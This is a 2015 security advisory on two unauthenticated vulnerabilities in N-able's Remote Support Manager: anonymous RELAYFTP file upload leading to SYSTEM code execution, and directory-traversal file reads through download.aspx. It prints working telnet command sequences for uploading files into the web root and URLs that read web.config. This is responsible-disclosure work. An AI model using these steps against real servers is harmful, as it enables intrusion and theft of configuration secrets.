security-assessment.com

Vulnerability Advisory

Name	N-central Remote Support Manager Multiple Vulnerabilities
CVE	NA
Vendor Website	www.n-able.com
Date Disclosed	16/01/2015
Affected Version	Verified in Version 14.2.7.171
Researchers	Thomas Hibbert

Description

Two critical vulnerabilities were identified in the RemoteSupportManager server.

1. RELAYFTP Unauthenticated Arbitrary File Upload and SYSTEM Remote Code Execution

The Remote Support Manager RELAYFTP subsystem ships with anonymous file access enabled. A malicious attacker may leverage this to upload files to the machine running Remote Support Manager without having to provide any authentication. By placing the uploaded files within the RSM web root, arbitrary code execution can be achieved. Code executed in this manner runs under the NT AUTHORITY/SYSTEM user.

2. Download.aspx Unauthenticated Arbitrary File Read

The Remote Support Manager webroot includes a Download.aspx script that is accessible without authentication. A malicious user may leverage this to download arbitrary files from the machine running Remote Support Manager.

Exploitation

1. RELAYFTP Unauthenticated Arbitrary File Upload and SYSTEM Remote Code Execution

Verifying the vulnerability exists is achievable using telnet, as shown in the screenshots on the following page:

```
cartel@mintyfresh ~/code/exploits $ telnet [redacted] 2000
Trying [redacted]...
Connected to [redacted]
Escape character is '^]'.
RELAYFTP
200 Ready
USER anonymous
230
TYPE I
200
MODE I
502
CWD C:\\
250
CWD C:\Program Files (x86)\N-able Technologies\NRM\RSMWeb\Pages
250
EPSV
229 Entering Extended Passive Mode (|||5|)
LIST
150 Creating data client for LIST
```

Retrieving and uploading files is done with the EPSV command. When EPSV is issued, the number between the pipes (5 in this instance) is the data client identifier to be used in the next command.

Creating a new connection with RELAYFTP, followed by the data client number, associates it with that client, as shown in the following screenshot:

```
Trying [redacted]...
Connected to [redacted].
Escape character is '^]'.
RELAYFTP5
drwxrwxrwx    2 0      0            4096 Mar 07 10:31 ChatApplication
drwxrwxrwx    2 0      0            4096 Mar 07 10:31 Common
drwxrwxrwx    2 0      0            4096 Mar 07 10:31 ComputerManagement
drwxrwxrwx    2 0      0            4096 Mar 07 10:31 Dashboard
drwxrwxrwx    2 0      0            4096 Mar 07 10:31 FileManager
drwxrwxrwx    2 0      0            4096 Mar 07 10:31 NTR
drwxrwxrwx    2 0      0            4096 Mar 07 10:31 PerformanceMonitoring
drwxrwxrwx    2 0      0            4096 Mar 07 10:31 RDP
-rw-r--r--    2 0      0            1117 Feb 06 16:19 download.aspx
-rw-r--r--    2 0      0            1201 Feb 07 09:52 EncryptPassword.aspx
-rw-r--r--    2 0      0            4768 Feb 07 09:52 Login.aspx
```

Uploading a file is a matter of issuing the STOR command with the pipe separated arguments of filename and file length, as shown in the following screenshot:

```
EPSV
229 Entering Extended Passive Mode (|||15|)
STOR hello.txt|6
150 Creating data client for STOR
```

Data sent after a RELAYFTP command associated with the STOR data client will be written to the associated file.

```
Connected to [redacted].
Escape character is '^]'.
RELAYFTP15
hello
```

By uploading an .aspx file in this manner, it is possible to gain arbitrary code execution on the RSM server.

Arbitrary File Download

The download.aspx file in the RSMWeb '/pages/' folder may be used to download arbitrary files without authentication. The filename to download is provided as the "file=" argument as in the following sample URL:

http://192.168.XXX.XXX:2000/pages/download.aspx?file=download.aspx

By utilising directory traversal it is possible to download files from any folder on the C:\ filesystem as shown in the following example URL:

http://192.168.XXX.XXX:2000/Pages/download.aspx?file=..\web.config

Solution

Update the Remote Support Manager component to the latest available version (14.10.27.176 as of this release).

Disclosure Timeline

17-06-2014 Advisory uploaded to vendor support portal
01-07-2014 First follow up e-mail sent
02-07-2014 Vendor advises they have not received the upload
02-07-2014 Advisory reuploaded
14-07-2014 Vendor advises they are able to reproduce the issues but cannot offer a timeframe for a fix
16-01-2015 Confirm vulnerabilities have been fixed, advisory released.

About Security-Assessment.com

Security-Assessment.com is a leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:
Web www.security-assessment.com
Email info@security-assessment.com
Phone +64 4 460 2596